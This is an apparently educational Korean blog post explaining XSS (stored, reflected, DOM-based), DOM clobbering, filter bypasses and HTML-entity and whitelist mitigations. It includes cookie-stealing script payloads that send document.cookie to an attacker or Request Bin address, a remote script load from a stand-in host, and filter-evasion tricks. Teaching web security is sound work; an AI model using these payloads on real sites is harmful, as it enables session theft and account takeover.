
XSS(Cross Site Script)
XSS(클라이언트 사이드 취약점)은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다.
해당 종류의 취약점을 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고
해당 계정으로 임의의 기능을 수행할 수 있다.

Server vs Client
→ 서버에서 실행되는 코드
→ 클라이언트 측에서 실행되는 코드(웹 브라우저)
HTML, css, javascript
WEB Request
<img src=''>
var i = new Image();
i.src = "attack URL?cookie=" + document.cookie;
→ 클라이언트 측 코드를 삽입하는 공격
→ 피해자 컴퓨터 (웹 브라우저) 실행되게 만드는 공격
→ 클라이언트는 이미지를 불러오는 과정에서 javascript 코드를 실행하게 되어 쿠키를 공격자에게 전송.
Stored XSS
Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS입니다.
대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드한다.
게시물은 불특정 다수에게 보여지기 때문에 해당 기능에서 XSS 취약점이 존재할 경우 높은 파급력을 가진다.
※ Request Bin을 이용해서 요청받을 주소를 준비한다.
<script>var i = new Image(); i.src="attack URL?cookie=" + document.cookie;</script>
<script>var i=new Image(); i.src=" Request Bin URL?cookie= " + document.cookie;</script>

img 객체를 생성하고 img 객체의 주소를 xss코드로 작성했다.
클라이언트는 img를 불러오는 과정에서 javascript코드를 실행하게 될 것이다.

게시판을 열람한 유저의 cookie를 탈취할 수 있다.
Reflected XSS

Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 대표적으로 게시판 서비스의 검색창에서 스크립트를 포함해 검색하는 방식이 있다. 이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환. 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.


Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다.
따라서 공격을 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 한다.
사회공학기법이 요구된다. ex) 스미싱
GET 방식으로 되어야 한다.
모든 페이지. 모든 파라미터에서 일어날 수 있다.
결과 반환에서 이니셜+특수문자 4개 < " ' >를 이용해서 확인할 수 있다.

DOM Based XSS
Document Object Model (DOM)은 브라우저가 HTML 문서를 관리하기 위해 사용하는 객체 모델이다.
웹 개발자는 DOM에 이벤트 핸들러를 추가하거나 DOM을 변경하는 방식으로 웹 페이지를 수정하는 것이 가능하다.
DOM은 자바스크립트에서 접근할 수 있도록 각종 API를 제공해 개발자에겐 굉장히 편리한 기능이다.
반면에, 이를 잘못 사용할 경우, XSS나 개발자가 의도한 동작과 다르게 동작시킬 수 있는 취약점이 발생할 수 있다.
XSS 취약점은 일반적으로 서버에서 이용자의 데이터를 제대로 검증하지 않거나, 필터링하지 않은 채 HTML 문서에 포함시켜 발생한다.
반면에 DOM-based XSS는 클라이언트, 즉 자바스크립트 단에서 이용자의 데이터를 가져와 사용하다가 XSS 취약점이 발생.
즉, 서버 단에서 올바르게 XSS를 필터링하여도 DOM-based XSS가 발생할 수 있다.
DOM-based XSS는 대표적으로 자바스크립트에서 URL의 파라미터나 해시를 가져와 innerHTML, outerHTML, insertAdjacentHTML과 같이 HTML에 마크업을 삽입할 수 있도록 해주는 기능에서 발생한다.

Document Object Model
Document Object Model (DOM, 문서 객체 모델)이란, 웹 페이지에 대한 프로그래밍 인터페이스. 웹 개발자가 작성한 웹 문서는 브라우저에서 파싱되어 DOM으로 표현. 자바스크립트가 웹 문서에 접근할 때에는 DOM을 통해 접근하게 되며, 일반적으로 DOM에서 제공하는 API를 이용한다.
DOM 내에서 웹 개발자가 작성한 HTML 문서는 트리 형태가 되어 노드로 표현되고 해당 노드들은 자바스크립트에서 접근할 수 있다.
DOM Clobbering
DOM Clobbering은 id, name 등 HTML에서 이용되는 식별자 속성을 이용해 자바스크립트에서 접근 가능한 DOM 객체들의 속성 및 메소드 등을 변조하는 기법.
기존 브라우저는 스크립트 작성자의 편의를 위해 DOM 노드 (element 등)에서 자식 노드에 직접 접근할 수 있도록 해왔다. 웹 프로그래밍을 공부하다 보면 document.getElementById() 를 사용하지 않고도 노드 id를 변수처럼 사용할 수 있음을 알게되는데, Window 전역 객체는 자바스크립트 Proxy와 유사한 형태로 구현되어 있어 정의되지 않은 속성은 DOM에서 찾게 됩니다.
예를 들어 DOM 내에 <a id="link1" href="https://host">host</a> element가 정의되어 있을 때, 자바스크립트에서 별도 변수 정의 없이 link1에 접근하면 해당 요소를 DOM에서 찾는다.
이는 비록 웹 개발자 입장에서는 편리한 기능일 수 있으나, 만약 HTML 마크업이 사용자나 제삼자로부터 제공된다면 문제가 발생할 수 있습니다. 글로벌 변수 이름공간이나 요소 객체 속성은 미리 정의된 속성 / 함수 (e.g. element.innerHTML, window.open 등)와 충돌할 수 있으며, 프로그래머가 예상했던 것과 다른 값이 반환되게 된다.
만약 웹 어플리케이션이 미리 정의되지 않은 전역 변수에 접근한다면 공격자가 입력한 요소로 대체되어 반환될 수 있다. 또한 form 등 요소에서 속성을 접근할 때 본래 속성값이 아닌 삽입된 객체가 반환되게 된다.
Default XSS
TAG + Event Handler
XSS 체크 시 가장 먼저 테스트하게 되는 것은 바로
< > ' "
와 같은 특수문자에 대한 테스트입니다. 이 특수문자에 대해 필터링이 되지 않을 시 HTML Tag나 Event Handler를 호출하여 악의적인 스크립트 구문을 만들고 사용자로 하여금 실행하도록 할 수 있습니다.
일반적으로 필터링에는 White List 기반 필터링과 Black List 기반 필터링이 있습니다. 이것은 대체로 File Upload 취약점에 많이 언급되는 방법이죠. 그러나 XSS 또한 String에 대한 필터링을 하는것이기 때문에 어떠한 방식으로 필터링 되었는가가 중요합니다.

White List 기반 필터링
이 필터링 기법은 허용해야할 태그, 속성을 제외한 나머지 모든 문자열에 대해 필터링 하는 방법입니다. 대체로 XSS에 대한 권고 시 가장 추천하는 방식이며 대체로 게시판과 같이 특수문자를 필터링할 수 없어 태그, 속성에 대해 필터링할 때 사용됩니다.
Black List 기반 필터링
이 필터링은 White List와는 반대로 지정한 태그, 속성, 특수문자 등에 대해서만 필터링 처리를 합니다. 주로 특수문자 필터링 시 사용되는 방법이며 게시판과 같이 특수문자를 필터링할 수 없는 상황에선 많은 우회 상황을 만들어 내게 됩니다.
위 두 필터링에는 고유한 약점이 있습니다. 바로 필터링 하는 규칙입니다. 공격자는 반복적인 테스트를 통해 이 규칙에 대해 파악하게 되고 정말 튼튼한 필터가 아니라면 대부분 우회하여 공격에 성공하게 됩니다.
* Black List 필터링 우회
[1] Client Side 검증 우회
< > < >
→ Burp Suite (프록시 툴)
[2] Script Load
", ', alert function
<script src=http://hack.com/hack.js></script>
[3] 대소문자 혼용
<script> → <ScRiPt>
[4] 필터링 되는 문자
<script> → <scrscriptipt>
[5] EventHandler
<img src=x onerror="alert(1)">
onactivate, onload, <svg>...
ex) <audio src="http://abc" onplay="" autoplay> → 다양한 태그를 알면 우회할 수 있는 가능성 UP!
HTML 태그를 많이 알아야된다... (PortSwigger)
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy
Interactive cross-site scripting (XSS) cheat sheet for 2023, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.
portswigger.net
* XSS 대응 방안

HTML 특수문자들을 HTML Entity로 치환한다.
HTML Editor 의 경우
Step 1. HTML → HTML Entity로 치환한다.
<img src= >
→ <img src= >
Step 2. White List 기반으로 허용할 태그 지정
ex) <img>, <p>, <a> 지정
<img src= >
Step 3. Black List 기반으로 event Handler 필터링
ex) onerror, onload
<img src= onerror="">
→ <img src= >
→ onerror="" 제외하고 실행
왜 XSS 취약점이 많이 일어나는가?
웹 애플리케이션은 다양한 입력 파라미터를 처리하며, 이들을 모두 필터링하기는 어렵습니다. 파라미터의 종류와 형태가 다양하며, 그들 각각에 대해 적절한 필터링을 적용하기 어렵기 때문입니다.
'Security > Web' 카테고리의 다른 글
| File Upload 취약점 / Reverse Shell (0) | 2023.06.06 |
|---|---|
| XSS와 CSRF의 차이 (0) | 2023.05.23 |
| SQL Injection 정리 (0) | 2023.05.07 |
| [Web] Same Origin Policy(SOP) (0) | 2023.04.20 |
| [SQL Injection] 로그인 CASE와 우회방법 (0) | 2023.04.16 |